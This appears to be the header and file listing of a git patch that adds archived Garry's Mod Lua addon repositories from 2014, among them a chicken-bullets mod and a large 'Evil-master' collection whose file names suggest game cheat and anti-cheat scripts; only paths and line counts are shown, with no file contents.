From 1e43c242b2b0a29f66a8c13800857287fffd408a Mon Sep 17 00:00:00 2001 From: SanyaZol <3246651+SanyaZol@users.noreply.github.com> Date: Sat, 12 Aug 2023 01:01:16 +0300 Subject: [PATCH] Repos from 2014-09-06 --- Repos/Chicken_Bullets-master/.gitattributes | 22 + Repos/Chicken_Bullets-master/README.md | 21 + Repos/Chicken_Bullets-master/addon.txt | 10 + .../lua/autorun/client/cl_ChickenBullets.lua | 19 + .../lua/autorun/server/sv_ChickenBullets.lua | 136 + .../lua/effects/chicken_death/init.lua | 81 + .../lua/effects/chicken_pain/init.lua | 59 + .../lua/effects/egg_break/init.lua | 59 + .../lua/entities/chicken_bullet/cl_init.lua | 56 + .../lua/entities/chicken_bullet/init.lua | 244 + .../lua/entities/chicken_bullet/shared.lua | 9 + .../materials/killicons/chicken_bullet.vmt | 6 + .../materials/killicons/chicken_bullet.vtf | Bin 0 -> 5696 bytes .../models/lduke/chicken/chicken2.vmt | 5 + .../models/lduke/chicken/chicken2.vtf | Bin 0 -> 174968 bytes .../materials/particles/feather.vmt | 8 + .../materials/particles/feather.vtf | Bin 0 -> 16592 bytes .../models/lduke/chicken/chicken3.dx80.vtx | Bin 0 -> 12364 bytes .../models/lduke/chicken/chicken3.dx90.vtx | Bin 0 -> 12364 bytes .../models/lduke/chicken/chicken3.mdl | Bin 0 -> 5728 bytes .../models/lduke/chicken/chicken3.phy | Bin 0 -> 842 bytes .../models/lduke/chicken/chicken3.sw.vtx | Bin 0 -> 12316 bytes .../models/lduke/chicken/chicken3.vvd | Bin 0 -> 44288 bytes .../sound/chicken/alert.wav | Bin 0 -> 16984 bytes .../sound/chicken/attack1.wav | Bin 0 -> 23520 bytes .../sound/chicken/attack2.wav | Bin 0 -> 31988 bytes .../sound/chicken/chicken_tube.mp3 | Bin 0 -> 7923 bytes .../sound/chicken/death.wav | Bin 0 -> 6356 bytes .../sound/chicken/idle1.wav | Bin 0 -> 127948 bytes .../sound/chicken/idle2.wav | Bin 0 -> 94080 bytes .../sound/chicken/idle3.wav | Bin 0 -> 58330 bytes .../sound/chicken/pain1.wav | Bin 0 -> 29694 bytes .../sound/chicken/pain2.wav | Bin 0 -> 33790 bytes .../sound/chicken/pain3.wav | Bin 0 -> 27646 bytes Repos/Evil-master/.gitattributes | 22 + Repos/Evil-master/.gitignore | 36 + .../Evil-master/v12/DeX/DevStuff/dex_rcon.lua | 7 + Repos/Evil-master/v12/DeX/README.txt | 11 + Repos/Evil-master/v12/DeX/bubble.lua | 65 + Repos/Evil-master/v12/DeX/chatfilter.lua | 437 + Repos/Evil-master/v12/DeX/dex.lua | 153 + Repos/Evil-master/v12/DeX/dex_autorun.lua | 12 + Repos/Evil-master/v12/DeX/ev.lua | 53 + Repos/Evil-master/v12/DeX/fixers.lua | 250 + Repos/Evil-master/v12/DeX/fpp.lua | 47 + Repos/Evil-master/v12/DeX/fun.lua | 424 + Repos/Evil-master/v12/DeX/gpio.lua | 238 + Repos/Evil-master/v12/DeX/hx_SkidList.lua | 6 + Repos/Evil-master/v12/DeX/meta.lua | 172 + Repos/Evil-master/v12/DeX/skid.lua | 139 + Repos/Evil-master/v12/DeX/sv_f_Crap.lua | 65 + Repos/Evil-master/v12/DeX/sv_f_List.lua | 2076 ++++ Repos/Evil-master/v12/DeX/ulx.lua | 37 + Repos/Evil-master/v12/DeX/umt.lua | 108 + Repos/Evil-master/v12/DeX/useful.lua | 255 + .../v12/HeXs_Scripts/DevStuff/hex_steam.ico | Bin 0 -> 73070 bytes .../DevStuff/old cl/HEVExtension(1).lua | 117 + .../DevStuff/old cl/HEVExtension.lua | 90 + .../DevStuff/old cl/HeXPlayerSpawn.lua | 46 + .../DevStuff/old cl/NailModelFix.lua | 17 + .../DevStuff/old cl/PlayerRings.lua | 27 + .../DevStuff/old cl/RemoveSpawnlists.lua | 44 + .../DevStuff/old cl/UploadChair.lua | 18 + .../DevStuff/old cl/ballspwans.lua | 16 + .../DevStuff/old cl/cl_AR2Bounce.lua | 39 + .../DevStuff/old cl/cl_ChatFilter.lua | 19 + .../DevStuff/old cl/cl_DermaSkin.lua | 86 + .../DevStuff/old cl/cl_DermaSkin1.lua | 94 + .../DevStuff/old cl/cl_ErrorCleanse.lua | 100 + .../DevStuff/old cl/cl_MatOrganiser.lua | 26 + .../DevStuff/old cl/cl_PissOff.lua | 51 + .../HeXs_Scripts/DevStuff/old cl/cl_Walls.lua | 318 + .../old cl/cl_hex_worldspawnfix_OLD.lua | 192 + .../HeXs_Scripts/DevStuff/old cl/getmodel.lua | 21 + .../DevStuff/old cl/hex_noviewpunch.lua | 1 + .../DevStuff/old cl/luasearch.lua | 129 + .../DevStuff/old cl/o_NewXrayVision.lua | 112 + .../DevStuff/old cl/worldspawnfix.lua | 52 + .../DevStuff/old en/en_ACWarning.lua | 169 + .../DevStuff/old en/en_FixEnts.lua | 14 + .../DevStuff/old en/en_fixmdl.lua | 37 + .../HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua | 11 + .../HeXs_Scripts/DevStuff/old ml/NoBans.lua | 60 + .../HeXs_Scripts/DevStuff/old ml/RunRun.lua | 20 + .../DevStuff/old ml/ml_CheckFilter.lua | 34 + .../DevStuff/old ml/ml_DermaSkin.lua | 94 + .../DevStuff/old ml/ml_H_DeReplicate.lua | 119 + .../DevStuff/old ml/ml_H_NotMe.lua | 129 + .../HeXs_Scripts/DevStuff/old ml/ml_Logo.lua | 38 + .../DevStuff/old ml/ml_Movetest.lua | 31 + .../DevStuff/old ml/old/ml_B_MenuRun.lua | 1 + .../DevStuff/old ml/old/ml_Clock.lua | 102 + .../DevStuff/old ml/old/ml_Find.lua | 155 + .../DevStuff/old ml/old/ml_H_DeReplicate.lua | 127 + .../old ml/old/ml_H_DeReplicate_cvar2.lua | 93 + .../DevStuff/old ml/old/ml_H_Disconnect.lua | 79 + .../DevStuff/old ml/old/ml_H_NoDS.lua | 17 + .../DevStuff/old ml/old/ml_H_NoWay.lua | 1 + .../DevStuff/old ml/old/ml_NewInfo.lua | 26 + .../DevStuff/old ml/old/ml_SRVLog.lua | 63 + .../DevStuff/old ml/old/ml_SVNCheck.lua | 42 + .../DevStuff/old ml/old/ml_StartMenu.lua | 105 + .../DevStuff/old ml/old/ml_Test2.lua | 48 + .../DevStuff/old root/playerrespawn.lua | 7 + .../DevStuff/old root/sh_GetHeX.lua | 17 + .../old root/sv_SpawnTheFuckingBarrels.lua | 45 + .../DevStuff/old root/sv_cleanup.lua | 9 + .../DevStuff/old root/sv_loadsave.lua | 84 + .../HeXs_Scripts/DevStuff/old/CMIconsole.lua | 22 + .../old/CustomMenuInc hex/CustomMenuInc.lua | 197 + .../v12/HeXs_Scripts/DevStuff/old/DFrame.lua | 244 + .../DevStuff/old/DFrame_CloseButton.lua | 20 + .../v12/HeXs_Scripts/DevStuff/old/HeX.Add.lua | 52 + .../HeXs_Scripts/DevStuff/old/HeX.Detour.lua | 28 + .../DevStuff/old/LogSkidEncounter.lua | 13 + .../HeXs_Scripts/DevStuff/old/PoopScript.lua | 57 + .../DevStuff/old/ReadFromAddons.lua | 40 + .../DevStuff/old/SRVLog/New Lua Script.lua | 173 + .../DevStuff/old/SRVLog/SRVLog.lua | 42 + .../HeXs_Scripts/DevStuff/old/SRVLog/poo.lua | 1 + .../HeXs_Scripts/DevStuff/old/SRVLog/poo2.lua | 32 + .../HeXs_Scripts/DevStuff/old/SRVLog/rdx.lua | 28 + .../DevStuff/old/T_toggle_script.lua | 36 + .../DevStuff/old/TakeExpression.lua | 51 + .../v12/HeXs_Scripts/DevStuff/old/bhop.lua | 42 + .../HeXs_Scripts/DevStuff/old/cHFUwXNe.txt | 379 + .../v12/HeXs_Scripts/DevStuff/old/cansee.lua | 85 + .../v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua | 70 + .../HeXs_Scripts/DevStuff/old/cl_SRVLog.lua | 52 + .../v12/HeXs_Scripts/DevStuff/old/cl_ki.lua | 36 + .../DevStuff/old/cl_killicons.lua | 112 + .../HeXs_Scripts/DevStuff/old/cleanup/!.lua | 382 + .../DevStuff/old/cleanup/DeathNotice.lua | 1056 ++ .../DevStuff/old/cleanup/Deathfix.lua | 46 + .../DevStuff/old/cleanup/dermaskin.lua | 50 + .../DevStuff/old/cleanup/sh_oldnoclip.lua | 111 + .../DevStuff/old/cleanup/skins.rar | Bin 0 -> 26391 bytes .../DevStuff/old/cleanup/sv_Dev.lua | 29 + .../DevStuff/old/cleanup/test.lua | 145 + .../HeXs_Scripts/DevStuff/old/cmi addons.lua | 61 + .../HeXs_Scripts/DevStuff/old/deco/HeXNS.lua | 1 + .../HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua | 1 + .../DevStuff/old/deco/New Lua Script.lua | 1 + .../HeXs_Scripts/DevStuff/old/deco/waffle.lua | 86 + .../DevStuff/old/dereplicate2 src.lua | 84 + .../v12/HeXs_Scripts/DevStuff/old/detours.lua | 55 + .../HeXs_Scripts/DevStuff/old/en stealer.lua | 70 + .../v12/HeXs_Scripts/DevStuff/old/extras.lua | 85 + .../v12/HeXs_Scripts/DevStuff/old/flap.txt | 660 ++ .../DevStuff/old/hex_nospread/HeXNS.lua | 1 + .../v12/HeXs_Scripts/DevStuff/old/lllll.txt | 9072 +++++++++++++++++ .../DevStuff/old/ml runstring.lua | 34 + .../HeXs_Scripts/DevStuff/old/ml_B_RFT.lua | 16 + .../DevStuff/old/ml_H_DeReplicate old.lua | 92 + .../old/ml_H_DeReplicate replicator.lua | 107 + .../v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua | 214 + .../DevStuff/old/ml_base_ColorConsole.lua | 34 + .../DevStuff/old/ml_downloadfilter old.lua | 131 + .../HeXs_Scripts/DevStuff/old/nSkidCheck.lua | 11 + .../DevStuff/old/norecoil/norecoil.lua | 30 + .../DevStuff/old/old cmi color.lua | 15 + .../DevStuff/old/old cmi load.lua | 19 + .../v12/HeXs_Scripts/DevStuff/old/old ml.lua | 67 + .../DevStuff/old/old/ml_downloadfilter.lua | 131 + .../HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg | 34 + .../DevStuff/old/oldcfg/barrels.cfg | 76 + .../DevStuff/old/oldcfg/bigbadaboom.cfg | 4 + .../DevStuff/old/oldcfg/build.cfg | 8 + .../HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg | 8 + .../DevStuff/old/oldcfg/firstcfg.cfg | 9 + .../DevStuff/old/oldcfg/health.cfg | 23 + .../HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg | 47 + .../DevStuff/old/oldcfg/melon.cfg | 18 + .../HeXs_Scripts/DevStuff/old/oldcfg/nuke.cfg | 61 + .../DevStuff/old/oldcfg/rapid.cfg | 10 + .../HeXs_Scripts/DevStuff/old/oldmenu/1.lua | 107 + .../HeXs_Scripts/DevStuff/old/oldmenu/111.lua | 41 + .../DevStuff/old/oldmenu/ml_oldmenu.lua | 103 + .../DevStuff/old/oldmenu/singleplayer.lua | 145 + .../DevStuff/old/oldspeedhack.lua | 17 + .../HeXs_Scripts/DevStuff/old/sh_GetHeX.lua | 17 + .../v12/HeXs_Scripts/DevStuff/old/sqlite.lua | 13 + .../DevStuff/old/stonedpotatoes skiddies.lua | 513 + .../HeXs_Scripts/DevStuff/old/witnesses.lua | 129 + Repos/Evil-master/v12/HeXs_Scripts/README.md | 11 + .../v12/HeXs_Scripts/garrysmod/KIDA.lua | 1 + .../v12/HeXs_Scripts/garrysmod/MAIN.lua | 1 + .../addons/HeX's Proximod/data/proxi.txt | 70 + .../addons/HeX's Proximod/defaultlogo.ico | Bin 0 -> 10134 bytes .../garrysmod/addons/HeX's Proximod/icon.tga | Bin 0 -> 4140 bytes .../garrysmod/addons/HeX's Proximod/info.txt | 20 + .../lua/ProxiCollapsibleCheckbox.lua | 35 + .../lua/archive/cl_proxi_changelog.lua | 101 + .../lua/archive/cl_proxi_ctrlcolor.lua | 107 + .../lua/archive/cl_proxi_cvar_custom.lua | 23 + .../lua/archive/cl_proxi_menu.lua | 308 + .../lua/archive/cl_proxi_menuutils.lua | 172 + .../lua/archive/cl_proxi_util.lua | 72 + .../lua/autorun/client/cl_proxi_autorun.lua | 12 + .../lua/cd_proxi_includelist.lua | 40 + .../HeX's Proximod/lua/cl_proxi_base.lua | 144 + .../HeX's Proximod/lua/cl_proxi_beacons.lua | 364 + .../lua/cl_proxi_cloudloader.lua | 253 + .../lua/cl_proxi_dup_virtualscene.lua | 492 + .../HeX's Proximod/lua/cl_proxi_menu.lua | 378 + .../HeX's Proximod/lua/cl_proxi_ph_simmap.lua | 46 + .../HeX's Proximod/lua/cl_proxi_preforce.lua | 35 + .../HeX's Proximod/lua/cl_proxi_version.lua | 60 + .../FILES ARE NOT RUN AUTOMATICALLY.txt | 2 + .../lua/proxi_b_default/_base.lua | 26 + .../lua/proxi_b_default/bolts.lua | 60 + .../lua/proxi_b_default/chat.lua | 61 + .../lua/proxi_b_default/compass.lua | 76 + .../proxi_b_default/contraptioncompass.lua | 86 + .../lua/proxi_b_default/helpersquare.lua | 58 + .../lua/proxi_b_default/nades.lua | 45 + .../lua/proxi_b_default/npc.lua | 89 + .../lua/proxi_b_default/npclos.lua | 46 + .../lua/proxi_b_default/physprops.lua | 53 + .../lua/proxi_b_default/playerlos.lua | 46 + .../lua/proxi_b_default/players.lua | 106 + .../lua/proxi_b_default/rockets.lua | 74 + .../lua/proxi_b_default/voicechat.lua | 75 + .../lua/proxi_b_default/wallfinder.lua | 89 + .../lua/proxi_b_default/wallfinderpierce.lua | 113 + .../proxi_b_default/wallfinderpierceback.lua | 154 + .../proxi_hayframe/hayframe__initializer.lua | 40 + .../lua/proxi_hayframe/hayframe_changelog.lua | 154 + .../lua/proxi_hayframe/hayframe_cmds.lua | 79 + .../lua/proxi_hayframe/hayframe_context.lua | 213 + .../lua/proxi_hayframe/hayframe_ctrlcolor.lua | 116 + .../lua/proxi_hayframe/hayframe_mediator.lua | 283 + .../lua/proxi_hayframe/hayframe_util.lua | 193 + .../lua/proxi_hayframe/hayframe_var.lua | 132 + .../HeX's Proximod/lua/sh_proxi_autorun.lua | 75 + .../materials/proxi/beacon_bigcircle.vmt | 11 + .../materials/proxi/beacon_bigcircle.vtf | Bin 0 -> 87616 bytes .../materials/proxi/beacon_bigcircle_add.vmt | 7 + .../materials/proxi/beacon_bigcircle_add.vtf | Bin 0 -> 43912 bytes .../proxi/beacon_bigcircle_antinoy.vmt | 11 + .../proxi/beacon_bigcircle_antinoy.vtf | Bin 0 -> 87616 bytes .../proxi/beacon_bigcircle_antinoy_add.vmt | 7 + .../proxi/beacon_bigcircle_antinoy_add.vtf | Bin 0 -> 43912 bytes .../proxi/beacon_bigcircle_antishade.vmt | 11 + .../proxi/beacon_bigcircle_antishade.vtf | Bin 0 -> 87616 bytes .../proxi/beacon_bigcircle_antishade_add.vmt | 7 + .../proxi/beacon_bigcircle_antishade_add.vtf | Bin 0 -> 43912 bytes .../proxi/beacon_bigcircle_shade.vmt | 11 + .../proxi/beacon_bigcircle_shade.vtf | Bin 0 -> 87616 bytes .../proxi/beacon_bigcircle_shade_add.vmt | 7 + .../proxi/beacon_bigcircle_shade_add.vtf | Bin 0 -> 43912 bytes .../materials/proxi/beacon_circle.vmt | 11 + .../materials/proxi/beacon_circle.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_circle_add.vmt | 7 + .../materials/proxi/beacon_circle_add.vtf | Bin 0 -> 2952 bytes .../materials/proxi/beacon_circle_edged.vmt | 11 + .../materials/proxi/beacon_circle_edged.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_circlestyle.psd | Bin 0 -> 34272 bytes .../materials/proxi/beacon_cone.vmt | 11 + .../materials/proxi/beacon_cone.vtf | Bin 0 -> 87616 bytes .../materials/proxi/beacon_cone_add.vmt | 7 + .../materials/proxi/beacon_cone_add.vtf | Bin 0 -> 43912 bytes .../materials/proxi/beacon_cone_rev.vmt | 11 + .../materials/proxi/beacon_cone_rev.vtf | Bin 0 -> 87616 bytes .../materials/proxi/beacon_cone_rev_add.vmt | 7 + .../materials/proxi/beacon_cone_rev_add.vtf | Bin 0 -> 43912 bytes .../materials/proxi/beacon_conestyle.psd | Bin 0 -> 79232 bytes .../materials/proxi/beacon_cross.psd | Bin 0 -> 28822 bytes .../materials/proxi/beacon_cross.vmt | 11 + .../materials/proxi/beacon_cross.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_flare.vmt | 11 + .../materials/proxi/beacon_flare.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_flare_add.vmt | 7 + .../materials/proxi/beacon_flare_add.vtf | Bin 0 -> 2952 bytes .../materials/proxi/beacon_square_4.vmt | 11 + .../materials/proxi/beacon_square_4.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_square_4_edged.vmt | 11 + .../materials/proxi/beacon_square_4_edged.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_square_8.vmt | 11 + .../materials/proxi/beacon_square_8.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_square_8_edged.vmt | 11 + .../materials/proxi/beacon_square_8_edged.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_squarestyle.psd | Bin 0 -> 26652 bytes .../proxi/beacon_stickhorizontal.vmt | 11 + .../proxi/beacon_stickhorizontal.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_stickvertical.vmt | 11 + .../materials/proxi/beacon_stickvertical.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_triangle.psd | Bin 0 -> 32532 bytes .../materials/proxi/beacon_triangle.vmt | 11 + .../materials/proxi/beacon_triangle.vtf | Bin 0 -> 5696 bytes .../materials/proxi/beacon_triangle_edged.vmt | 11 + .../materials/proxi/beacon_triangle_edged.vtf | Bin 0 -> 5696 bytes .../proxi/beacon_triangle_inside.vmt | 11 + .../proxi/beacon_triangle_inside.vtf | Bin 0 -> 5696 bytes .../materials/proxi/rad_ring.vmt | 11 + .../materials/proxi/rad_ring.vtf | Bin 0 -> 87616 bytes .../=Public Folder=/office_chair.txt | 54 + .../STEAM_0_0_17809124/office_chair.txt | 54 + .../data/adv_duplicator/minge/bath_gold.txt | 109 + .../data/adv_duplicator/minge/big_one.txt | 51 + .../adv_duplicator/minge/cone_of_doom.txt | 52 + .../data/adv_duplicator/minge/keepon.txt | 57 + .../data/adv_duplicator/minge/nuke.txt | 51 + .../data/adv_duplicator/minge/potty.txt | 79 + .../data/adv_duplicator/minge/timed_cone.txt | 102 + .../data/adv_duplicator/minge/tits.txt | 52 + .../data/adv_duplicator/minge/washer1.txt | 46 + .../data/adv_duplicator/minge/washer2.txt | 46 + .../data/adv_duplicator/office_chair.txt | 54 + .../HeX's Scripts 10/data/dermaskin.txt | 1 + .../data/smartsnap_offsets_default.txt | 9 + .../addons/HeX's Scripts 10/hex_steam.ico | Bin 0 -> 73070 bytes .../addons/HeX's Scripts 10/icon.tga | Bin 0 -> 3090 bytes .../addons/HeX's Scripts 10/info.txt | 13 + .../lua/HeX/client/cl_CLogger.lua | 148 + .../lua/HeX/client/cl_Chat.lua | 41 + .../lua/HeX/client/cl_Crosshair.lua | 84 + .../lua/HeX/client/cl_FDetector.lua | 184 + .../lua/HeX/client/cl_FESP.lua | 543 + .../lua/HeX/client/cl_FSpectate.lua | 332 + .../lua/HeX/client/cl_FXVision3.lua | 132 + .../lua/HeX/client/cl_FZoom.lua | 97 + .../lua/HeX/client/cl_FixAndRemove.lua | 266 + .../lua/HeX/client/cl_GANFix.lua | 149 + .../lua/HeX/client/cl_HEV.lua | 190 + .../lua/HeX/client/cl_Hopper.lua | 41 + .../lua/HeX/client/cl_Info.lua | 37 + .../lua/HeX/client/cl_Language.lua | 186 + .../lua/HeX/client/cl_NameTags.lua | 38 + .../lua/HeX/client/cl_PlayerSpawn.lua | 78 + .../lua/HeX/client/cl_Rings.lua | 42 + .../lua/HeX/client/cl_SRVLog.lua | 73 + .../lua/HeX/client/cl_ScreenLogger.lua | 21 + .../lua/HeX/client/cl_SkidCheck.lua | 266 + .../lua/HeX/client/cl_SmartSnap.lua | 790 ++ .../lua/HeX/client/cl_Warnings.lua | 176 + .../HeX's Scripts 10/lua/HeX/hx_DFrame.lua | 247 + .../HeX's Scripts 10/lua/HeX/hx_SkidList.lua | 4157 ++++++++ .../lua/HeX/hx_loader_backend.lua | 44 + .../lua/HeX/hx_loader_globals.lua | 221 + .../lua/HeX/hx_loader_meta.lua | 43 + .../lua/HeX/hx_loader_modules.lua | 14 + .../lua/HeX/server/sv_00Spawn.lua | 22 + .../lua/HeX/server/sv_InfAng.lua | 14 + .../lua/HeX/server/sv_JeepGun.lua | 14 + .../HeX's Scripts 10/lua/HeX/sh_DumpMap.lua | 116 + .../lua/HeX/sh_GarbageCollector.lua | 19 + .../HeX's Scripts 10/lua/HeX/sh_Healthbar.lua | 65 + .../lua/HeX/sh_NoRunstring.lua | 46 + .../HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua | 63 + .../lua/autorun/hexloader_autorun.lua | 19 + .../HeX's Scripts 10/lua/hex_loader.lua | 37 + .../lua/includes/enum/en_HeX.lua | 26 + .../lua/includes/modules/gm_sourcenet3.dll | Bin 0 -> 147456 bytes .../lua/includes/modules/gmcl_chan.dll | Bin 0 -> 24576 bytes .../includes/modules/gmcl_downloadfilter.dll | Bin 0 -> 71168 bytes .../lua/includes/modules/gmcl_extras.dll | Bin 0 -> 69120 bytes .../lua/includes/modules/gmcl_m2c.dll | Bin 0 -> 32768 bytes .../lua/includes/modules/gmcl_replicator.dll | Bin 0 -> 18432 bytes .../lua/postprocess/lensflare.lua | 82 + .../materials/HUD/killicons/combine_mine.vmt | 9 + .../materials/HUD/killicons/combine_mine.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/entityflame.vmt | 9 + .../materials/HUD/killicons/entityflame.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/env_explosion.vmt | 9 + .../materials/HUD/killicons/env_explosion.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_antlion.vmt | 9 + .../materials/HUD/killicons/npc_antlion.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_antlionguard.vmt | 9 + .../HUD/killicons/npc_antlionguard.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_barnacle.vmt | 9 + .../materials/HUD/killicons/npc_barnacle.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_combinegunship.vmt | 9 + .../HUD/killicons/npc_combinegunship.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_cscanner.vmt | 9 + .../materials/HUD/killicons/npc_cscanner.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_fastzombie.vmt | 9 + .../HUD/killicons/npc_fastzombie.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_headcrab.vmt | 9 + .../materials/HUD/killicons/npc_headcrab.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_headcrab_fast.vmt | 9 + .../HUD/killicons/npc_headcrab_fast.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_helicopter.vmt | 9 + .../HUD/killicons/npc_helicopter.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_manhack.vmt | 9 + .../materials/HUD/killicons/npc_manhack.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_poisonzombie.vmt | 9 + .../HUD/killicons/npc_poisonzombie.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_rollermine.vmt | 9 + .../HUD/killicons/npc_rollermine.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_stalker.vmt | 9 + .../materials/HUD/killicons/npc_stalker.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_strider.vmt | 9 + .../materials/HUD/killicons/npc_strider.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_turret_floor.vmt | 9 + .../HUD/killicons/npc_turret_floor.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_vortigaunt.vmt | 9 + .../HUD/killicons/npc_vortigaunt.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/npc_zombie.vmt | 9 + .../materials/HUD/killicons/npc_zombie.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/npc_zombie_torso.vmt | 9 + .../HUD/killicons/npc_zombie_torso.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/prop_ragdoll.vmt | 9 + .../materials/HUD/killicons/prop_ragdoll.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/prop_vehicle_airboat.vmt | 9 + .../HUD/killicons/prop_vehicle_airboat.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/prop_vehicle_jeep.vmt | 9 + .../HUD/killicons/prop_vehicle_jeep.vtf | Bin 0 -> 5696 bytes .../killicons/prop_vehicle_prisoner_pod.vmt | 9 + .../killicons/prop_vehicle_prisoner_pod.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/weapon_alyxgun.vmt | 9 + .../HUD/killicons/weapon_alyxgun.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/weapon_annabelle.vmt | 9 + .../HUD/killicons/weapon_annabelle.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/weapon_citizenpackage.vmt | 9 + .../HUD/killicons/weapon_citizenpackage.vtf | Bin 0 -> 5696 bytes .../HUD/killicons/weapon_citizensuitcase.vmt | 9 + .../HUD/killicons/weapon_citizensuitcase.vtf | Bin 0 -> 5696 bytes .../materials/HUD/killicons/worldspawn.vmt | 9 + .../materials/HUD/killicons/worldspawn.vtf | Bin 0 -> 5696 bytes .../HeX's Scripts 10/materials/PoKiRayMat.vmt | 9 + .../materials/blackops/clock.vmt | 8 + .../materials/blackops/clock.vtf | Bin 0 -> 349732 bytes .../materials/blackops/snowflakes/1.vmt | 8 + .../materials/blackops/snowflakes/1.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/10.vmt | 8 + .../materials/blackops/snowflakes/10.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/11.vmt | 8 + .../materials/blackops/snowflakes/11.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/12.vmt | 8 + .../materials/blackops/snowflakes/12.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/13.vmt | 8 + .../materials/blackops/snowflakes/13.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/14.vmt | 8 + .../materials/blackops/snowflakes/14.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/15.vmt | 8 + .../materials/blackops/snowflakes/15.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/16.vmt | 8 + .../materials/blackops/snowflakes/16.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/17.vmt | 8 + .../materials/blackops/snowflakes/17.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/18.vmt | 8 + .../materials/blackops/snowflakes/18.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/19.vmt | 8 + .../materials/blackops/snowflakes/19.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/2.vmt | 8 + .../materials/blackops/snowflakes/2.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/20.vmt | 8 + .../materials/blackops/snowflakes/20.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/21.vmt | 8 + .../materials/blackops/snowflakes/21.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/22.vmt | 8 + .../materials/blackops/snowflakes/22.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/23.vmt | 8 + .../materials/blackops/snowflakes/23.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/24.vmt | 8 + .../materials/blackops/snowflakes/24.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/3.vmt | 8 + .../materials/blackops/snowflakes/3.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/4.vmt | 8 + .../materials/blackops/snowflakes/4.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/5.vmt | 8 + .../materials/blackops/snowflakes/5.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/6.vmt | 8 + .../materials/blackops/snowflakes/6.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/7.vmt | 8 + .../materials/blackops/snowflakes/7.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/8.vmt | 8 + .../materials/blackops/snowflakes/8.vtf | Bin 0 -> 5680 bytes .../materials/blackops/snowflakes/9.vmt | 8 + .../materials/blackops/snowflakes/9.vtf | Bin 0 -> 5680 bytes .../materials/console/gmod_logo.vmt | 11 + .../materials/console/gmod_logo.vtf | Bin 0 -> 349760 bytes .../materials/console/logo_text.vmt | 8 + .../materials/console/logo_text.vtf | Bin 0 -> 1048688 bytes .../materials/effects/lensflare/circle.vmt | 9 + .../materials/effects/lensflare/circle.vtf | Bin 0 -> 2976 bytes .../materials/effects/lensflare/ring.vmt | 9 + .../materials/effects/lensflare/ring.vtf | Bin 0 -> 65767 bytes .../effects/lensflare/smoothring.vmt | 9 + .../effects/lensflare/smoothring.vtf | Bin 0 -> 11168 bytes .../killicons/combine_mine_killicon.vmt | 6 + .../killicons/combine_mine_killicon.vtf | Bin 0 -> 5696 bytes .../killicons/env_explosion_killicon.vmt | 6 + .../killicons/env_explosion_killicon.vtf | Bin 0 -> 5696 bytes .../materials/killicons/env_fire_killicon.vmt | 6 + .../materials/killicons/env_fire_killicon.vtf | Bin 0 -> 5696 bytes .../env_headcrabcanister_killicon.vmt | 6 + 